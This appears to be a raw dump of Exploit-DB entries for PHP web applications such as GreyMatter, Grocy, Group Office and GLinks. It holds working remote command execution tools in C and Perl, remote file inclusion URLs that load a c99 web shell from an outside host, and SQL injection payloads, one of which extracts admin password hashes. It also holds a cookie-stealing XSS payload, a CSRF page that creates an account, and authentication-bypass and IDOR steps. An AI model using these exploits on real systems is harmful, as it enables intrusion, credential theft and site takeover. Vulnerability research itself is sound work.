deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1618
Description: GreyMatter WebLog 1.21d - Remote Command Execution (1)
Type: webapps
Platform: php
Date: 2006-03-28
Author: No_Face_King

Exploit:
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#define RETCONNERR            4                        // Connection error
#define RETSOCKERR            3                        // Return for socket error
#define RETRESVERR            2                        // Error code for cannot resolve host
#define RETOK                 1                        // Return OK
#pragma comment(lib,"wsock32")
#define portnum 80
int info(char *ls1);
int ConnectWithString(char *hostname,char *string);
int main(int argc,char **argv){
    char buff[512]="";
    char get[1024]="";
    if(argc<3)
        {
            info(argv[0]);
            return 0;
        }
    strcpy(buff,argv[2]);
    strcat(buff,"?cmd=");
    strcat(buff,argv[3]);
    strcpy(get,"GET ");
    strcat(get,buff);
    strcat(get," HTTP/1.1");
    printf("%s\n",get);
    ConnectWithString(argv[1],get);
    return 0;
}
int ConnectWithString(char *hostname,char *string)
{
    // Socket handle
    WSADATA wsda;

    // Socket file descriptor
    int sockfd;

    // host entrie
    struct hostent *h;

    // Server struct
    struct sockaddr_in server;

    // Return value
    int ret;

    // Initialize socket
    WSAStartup(0x0101, &wsda);

    // Open a socket
    // Create tcp socket
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
            return RETSOCKERR;

    // Cannot create socket if anything fails
    else
        return RETSOCKERR;

    // Resolve host
    if((h=gethostbyname(hostname)) == NULL)
            return RETRESVERR;

    // Init server struct
    server.sin_addr=*((struct in_addr*)h->h_addr);
    server.sin_port=htons(portnum);
    server.sin_family=AF_INET;

    // Connect with server
    if(connect(sockfd, (struct sockaddr*)&server, sizeof(struct sockaddr)) == -1)
        return RETCONNERR;

    // Send string
    ret = send(sockfd, string, strlen(string), 0);

    // Check for socket error
    if(ret == SOCKET_ERROR)
        return RETSOCKERR;

    // Cleanup socket
    WSACleanup();

    closesocket(sockfd);

    // Everything OK

    return RETOK;
}
int info(char *ls1){
    printf("******************************************************************\n");
    printf("*          GREYMATTER Exploit  private version                   *\n");
    printf("*         Exploit By:No_Face_King Bug By:syst3m_f4ult            *\n");
    printf("*    www.crouz.com Great iranian security team                   *\n");
    printf("*      Usage: %s VictimIP  GREYMATTER Path  command  *\n",ls1);
    printf("*   e.g: %s 192.168.0.1  /00000008.php  uname -a     *\n",ls1);
    printf("******************************************************************\n");
    return 0;
}

// milw0rm.com [2006-03-28]
Exploit-DB #1619
Description: GreyMatter WebLog 1.21d - Remote Command Execution (2)
Type: webapps
Platform: php
Date: 2006-03-28
Author: Hessam-x

Exploit:
#!/usr/bin/perl
#
# Exploit by Hessam-x (www.hessamx.net)
# Special Thanx : Vampire , s3rv3r_hack3r
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /  #
# \___|_  /(____  )\___  >__|_ \\___  >__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
#                 DeltaHAcking Team                  #
#           website: www.deltahacking.com            #
######################################################
# Name    : Greymatter                               #
# Site    : http://www.noahgrey.com/greysoft/        #
######################################################
# example:
# target : www.yesite.com/Greymatter/
# archive number : 00000141
use LWP::Simple;


print "-------------------------------------------\n";
print "=                 Greymatter              =\n";
print "=       By Hessam-x  - www.hackerz.ir     =\n";
print "=   Vampire      - www.deltahacking.com   =\n"; 
print "-------------------------------------------\n\n";


      print "Target >http://";
      chomp($targ = <STDIN>);
      print "archive number >";
      chomp($arnum= <STDIN>);
   
   $con=get("http://".$targ) || die "[-]Cannot connect to Host"; 
while ()  
{  
     print "Hessam-x@Greymatter \$";
     chomp($comd=<STDIN>);
     $commd=get("http://".$targ."archives/".$arnum.".php?cmd=".comd)
}

# milw0rm.com [2006-03-28]
Exploit-DB #39935
Description: Grid Gallery 1.0 - Admin Panel Authentication Bypass
Type: webapps
Platform: php
Date: 2016-06-13
Author: Ali BawazeEer

Exploit:
<!--
# Exploit Title:  Grid Gallery 1.0 - Admin panel Authentication bypass
# Date: 13th June 2016
# Exploit Author: Ali BawazeEer
# Vendor Homepage: http://phpstaff.com.br/
# Version: 2.0

--!>


=======================================================================================================

Grid Gallery 1.0 Admin panel Authentication bypass 

Description : An Attackers are able to completely compromise the web application built upon
Grid Gallery as they can gain access to the admin panel and 
manage the website as an admin without prior authentication!


Step 1: Create a rule in No-Redirect Add-on: ^http://example.com/path/admin/login.php
Step 2: Access http://example.com/path/admin/index.php


Risk : Unauthenticated attackers are able to gain full access to the administrator panel
and thus have total control over the web application, including content change,add admin user .. etc

=======================================================================================================
potential fix 


<?php 
session_start(); 
if (!isset($_SESSION["auth"])) {         
exit(header('Location: admin/login.php')); 
} 

?>


[+] Exploit by: Ali BawazeEer
[+] Twitter:@AlibawazeEer
[+] Linkedin : https://www.linkedin.com/in/AliBawazeEer
Exploit-DB #11107
Description: gridcc script 1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-11
Author: Red-D3v1L

Exploit:
+===================================================================================+
            ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ /
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_0_9 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+===================================================================================+

    [?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
    [?] Gridcc Script 1.0 (SQL/XSS) Multiple Remote Vulnerabilities
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] Script:               [ Gridcc Script 1.0 ]
    [?] Language:             [ PHP ]
    [?] Vendor                [http://www.gridcc.org/viewnote.php?id=1812]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] Fuck To :             [ Zombie_KsA << big big big L4m3r ]
########################################################################

===[ Exploit XSS ]===

[&#65533;]Exploit : [Path]/viewnote.php?id=[XSS Vuln]

-------------------------------------------------------------------------------------------------

===[ Exploit SQL Injection ]===

[&#65533;]Exploit : [Path]/viewnote.php?id=[inject c0dE]


==============================================================================

#sEc-r1z.com Str1kEz y0u !
Exploit-DB #45795
Description: Grocery crud 1.6.1 - 'search_field' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-06
Author: Loading Kura Kura

Exploit:
# Exploit Title: Grocery crud 1.6.1 - 'search_field' SQL Injection
# Google Dork: n/a
# Date: 2018-11-05
# Exploit Author: Loading Kura Kura  
# Vendor Homepage: https://www.grocerycrud.com/
# Software Link: https://www.grocerycrud.com/downloads
# Version: 1.6.1
# Tested on: Win10/Kali Linux
# CVE : 

# 1. Proof of Concept :
# save request to file, example request.txt

sqlmap -r grocery.txt --level=3 --risk=2 --dbs --dbms=mysql --fresh-queries -p search_field

Request
========================
POST /grocerycrud/index.php/examples/customers_management/ajax_list_info HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/grocerycrud/index.php/examples/customers_management
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Connection: close

search_text=dd&search_field=%5c%27city&per_page=10&order_by%5B0%5D=&order_by%5B1%5D=&page=1

========================

vuln on parameter "search_field"
================================
Parameter: search_field (POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: search_text=dd&search_field=-7154 OR 1 GROUP BY CONCAT(0x7178707a71,(SELECT (CASE WHEN (3651=3651) THEN 1 ELSE 0 END)),0x716b6a6271,FLOOR(RAND(0)*2)) HAVING MIN(0)#&per_page=10&order_by[0]=&order_by[1]=&page=1

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: search_text=dd&search_field=(CASE WHEN (2922=2922) THEN SLEEP(5) ELSE 2922 END)&per_page=10&order_by[0]=&order_by[1]=&page=1

================================

bug hunter....
Exploit-DB #48792
Description: grocy 2.7.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-09-07
Author: Mufaddal Masalawala

Exploit:
# Exploit Title: grocy 2.7.1 - Persistent Cross-Site Scripting
# Date: 2020-09-06
# Exploit Author: Mufaddal Masalawala
# Vendor Homepage: https://berrnd.de/
# Software Link: https://github.com/grocy/grocy
# Version: 2.7.1
# Tested on: Kali Linux 2020.3

# Proof Of Concept:

grocy household management solution v2.7.1, allows stored XSS and HTML
Injection, via Create Shopping List module, that is rendered upon
deletiing that Shopping List.
To exploit this vulnerability:
1. Login to the application
2. Go to 'Shooping List' module
3. Click on 'New Shopping List' module
4. Enter the payload: <marquee onstart=alert(document.cookie)> in 'Name'
input field.
5. Click Save
6. Click 'Delete Shopping List'

*#REQUEST -->*
POST /api/objects/shopping_lists HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/shoppinglist/new
Content-type: application/json
Content-Length: 38
Connection: close
Cookie: grocy_session=GhIjKZyST7Qkx18Q97u9MaPM1LsMtBmcJ6I59gxTO3Ks4WJXUd
{"name":"<marquee onstart=alert(1)> "}
*#RESPONSE -->*
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sun, 06 Sep 2020 12:53:13 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.3.21
Content-Length: 26

{"created_object_id":"21"}


Regards,
Mufaddal M
Exploit-DB #51760
Description: Grocy <=4.0.2 - CSRF
Type: webapps
Platform: php
Date: 2024-01-31
Author: Chance Proctor

Exploit:
# Exploit Title: Grocy <= 4.0.2 CSRF Vulnerability
# Application: Grocy
# Version: <= 4.0.2
# Date: 09/21/2023
# Exploit Author: Chance Proctor
# Vendor Homepage: https://grocy.info/
# Software Link: https://github.com/grocy/grocy
# Tested on: Linux
# CVE : CVE-2023-42270



Overview
==================================================
When creating a new user in Grocy 4.0.2, the new user request is made using JSON formatting.
This makes it easy to adjust your request since it is a known format. 
There is also no CSRF Token or other methods of verification in place to verify where the request is coming from.
This allows for html code to generate a new user as long as the target is logged in and has Create User Permissions.



Proof of Concept
==================================================
Host the following html code via a XSS or delivery via a phishing campaign:

	<html>
	<form action="/api/users" method="post" enctype="application/x-www-form-urlencoded">
	<input name='username' value='hacker' type='hidden'>
	<input name='password' value='test' type='hidden'>
	<input type=submit>
	</form>
	<script>
	history.pushState('','', '/');
	document.forms[0].submit();
	</script>
	</html>


If a user is logged into the Grocy Webapp at time of execution, a new user will be created in the app with the following credentials

	Username: hacker
	Password: test

Note:
In order for this to work, the target must have Create User Permissions.
This is enabled by default.



Proof of Exploit/Reproduce
==================================================
http://xploit.sh/posts/cve-2023-42270/
Exploit-DB #52282
Description: Grokability Snipe-IT 8.0.4 - Insecure Direct Object Reference (IDOR)
Type: webapps
Platform: php
Date: 2025-05-06
Author: Sn1p3r-H4ck3r

Exploit:
# Exploit Title: Grokability Snipe-IT 8.0.4 - Insecure Direct Object Reference (IDOR)
# Google Dork: N/A
# Date: 2025-05-02
# Exploit Author: Sn1p3r-H4ck3r (Siripong Jintung)
# Vendor Homepage: https://snipeitapp.com
# Software Link: https://github.com/grokability/snipe-it
# Version: <= 8.0.4
# Tested on: Ubuntu 22.04 LTS, Apache2 + MySQL + PHP 8.1
# CVE: CVE-2025-47226

# Vulnerability Description:
Snipe-IT <= 8.0.4 contains an Insecure Direct Object Reference (IDOR) vulnerability in the
`/locations/<id>/printassigned` endpoint. This flaw allows an authenticated user from one
department to gain access to asset assignment data belonging to other departments by modifying
the `location_id` in the URL.

# Steps to Reproduce:
1. Authenticate with a low-privileged account assigned to `location_id = 2`.
2. Access the print preview page:
   https://<target>/locations/2/printassigned
3. Modify the URL to:
   https://<target>/locations/1/printassigned
4. The application will disclose inventory/assignment information for location ID 1,
   even if the user should not have access.

# Impact:
- Unauthorized access to internal asset and inventory information.
- Potential for lateral data exposure between departments in the same organization.
- Disclosure of asset IDs, assignees, and location metadata.

# Mitigation:
Update to **Snipe-IT v8.1.0** or higher where access control validation has been corrected.

# References:
- Patch PR: https://github.com/grokability/snipe-it/pull/16672
- CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-47226
- Release Notes: https://github.com/grokability/snipe-it/releases/tag/v8.1.0
Exploit-DB #51526
Description: Groomify v1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-06-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Groomify v1.0 - SQL Injection
# Date: 2023-06-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor:
https://codecanyon.net/item/groomify-barbershop-salon-spa-booking-and-ecommerce-platform/45808114#
# Demo Site: https://script.bugfinder.net/groomify
# Tested on: Kali Linux
# CVE: N/A


### Vulnerable URL ###

https://localhost/groomify/blog-search?search=payload


### Parameter & Payloads ###

Parameter: search (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=deneme' AND (SELECT 1642 FROM (SELECT(SLEEP(5)))Xppf)
AND 'rszk'='rszk
Exploit-DB #7954
Description: groone glinks 2.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-03
Author: k3vin mitnick

Exploit:
#########################################################
# GLINKS v2.1 Remote File Include Vulnerability
# http://www.groonesworld.com/programs/glinks/glinks.zip
# 
#========================================================
# Author: k3vin mitnick( tunisianblackhat team ) =
# 
# Home : http://tunisianblackhat.com & scarface-team.org =
# 
# email: kevinmitnick[A]live.fr = web-terrorist@mail.ru =
# 
#=========================================================
#
#        bug : <style type="text/css">
#                      <?php include($abspath.'/css/style.inc'); ?>
#                </style>
# 
# exploit   :
#  http://localhost/glinks/includes/header.php?abspath=http://www.evilc0der.com/c99.txt?
#
#
#
##########################################################
>
 .:: Tunisian Blackhat team work with scarface-team many suprise as soon ::.
>


> ########################( Greetz )###########################
# scarface-team mrabah12R feyiz marw?-neo  samy chelly
# hug, pelo, iskorpitx , ByalBayx crackerz-Team,milw0rm.com
# C4TEAM & c4team.org & snap and all
# tunisian hackers #
#
#
#
> #############################################################

# milw0rm.com [2009-02-03]
Exploit-DB #7878
Description: Groone's GLink ORGanizer - 'index.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-26
Author: nuclear

Exploit:
#Groone's GLink Organizer (index.php) SQL Injection Vulnerability


#Author: nuclear


#download:
http://www.groonesworld.com/programs/glinks/glinks.zip


#vuln:
http://localhost/[path]/index.php?cat=-1 union select 1,@@version,3 %23


#greetz Mi4night, cAs, zYzTeM, THE_MAN, Pepe, I-O-W-A,Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar 

# milw0rm.com [2009-01-26]
Exploit-DB #9236
Description: Groone's GLink ORGanizer 2.1 - 'cat' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-07-23
Author: 599eme Man

Exploit:
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] GLinks v2.1 (cat) Remote Blind SQL Injection Vulnerability
# [+] Software : President Bios
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
# [+] Special Thanks : Moudi Aka SixSo  brozazaaaaaaaaa
# [+] Dowload : http://www.groonesworld.com/programs/glinks/glinks.zip
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerability
#
#	[+] Blind SQL
#
#		- http://www.site.com/index.php?cat=[nr] and 1=1 <= true
#		- http://www.site.com/index.php?cat=[nr] and 1=2 <= False
#
#		- http://www.site.com/index.php?cat=[nr] and substring(@@version,1,1)=4 <= false
#		- http://www.site.com/index.php?cat=[nr] and substring(@@version,1,1)=5 <= true
#
#			[+] Demo
#
#				- http://www.groonesworld.com/demos/glinks/index.php?cat=82%20and%20substring(@@version,1,1)=5 <= True
#				- http://www.groonesworld.com/demos/glinks/index.php?cat=82%20and%20substring(@@version,1,1)=4 <= False
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-07-23]
Exploit-DB #7955
Description: groone's Guestbook 2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-03
Author: k3vin mitnick

Exploit:
#########################################################
# GBOOK v2.0 Remote File Include Vulnerability
# http://www.groonesworld.com/programs/gbook/gbook.zip
#
#========================================================
# Author: k3vin mitnick( tunisianblackhat team ) =
# =
# Home : http://tunisianblackhat.com & scarface-team.org =
# =
# email: kevinmitnick[A]live.fr = web-terrorist@mail.ru
# =
#=========================================================
#
#        bug : <style type="text/css">
#                       <?php include($abspath."css/gstyle.inc");?>
#                </style>
#
#
# exploit   :
#  http://localhost/gbook/includes/header.php?abspath=http://www.evilc0der.com/c99.txt?
#
#
#
##########################################################
>
>  .:: Tunisian Blackhat team work with scarface-team many suprise as soon ::.
>
> ########################( Greetz )###########################
# scarface-team mrabah12R feyiz marw?-neo  samy chelly
# hug, pelo, iskorpitx , ByalBayx crackerz-Team,milw0rm.com
# C4TEAM & c4team.org & snap and all
# tunisian hackers #
#
#
#
> ###########################################################

# milw0rm.com [2009-02-03]
Exploit-DB #14383
Description: Group Office - 'comment_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-16
Author: Canberk BOLAT

Exploit:
# Title
Group Office Remote SQL Injection Vulnerability

# Author
ADEO Security

# Published
17/07/2010

# Version
3.5.9 (Possible all versions)

# Vendor
http://www.group-office.com

# Download
http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download

# Description
"Take your office online with Group-Office groupware. Share projects,
calendars, files and e-mail online with co-workers and clients. Easy
to use and fully customizable, Group-Office takes online collaboration
to the next level."

# Credit
Vulnerability founded by Canberk BOLAT
	- Mail: security[AT]adeo.com.tr
	- Web: http://security.adeo.com.tr , http://adeosecuritylabs.com

# Vulnerability
Remote attacker can inject sql codes to the system that host target
web application. Its high level vulnerability.

modules/comments/json.php:
23	$comment = $comments->get_comment(($_REQUEST['comment_id']));


In json.php 'get_comment' method called with value of HTTP Request
that's name 'comment_id'. In the 'get_comment' method, variable
'$comment_id' inserted to sql query and executed by application.

modules/comments/classes/comments.class.inc.php:
function get_comment($comment_id)
{
$this->query("SELECT * FROM co_comments WHERE id=".$this->escape($comment_id));
...

'escape' method can't prevent because attacker don't need single
quotes for successful exploitation.

# Exploitation
Request: http://server/groupoffice/modules/comments/json.php?task=comment&comment_id=888881+union+select+1,2,3,4,5,6,(select+concat_ws(0x3a,username,password)+from+go_users+where+id=1)

Response: {"data":{"id":"1","link_id":"2","link_type":"3","user_id":"4","ctime":"01-01-1970
1:00","mtime":"01-01-1970
1:00","comments":"admin:$1$sM5wjKS9$wJPfZZWO53uu8eCxjOesS\/","user_name":""},"success":true}

Application's response contains result of the attacker's injected sql codes.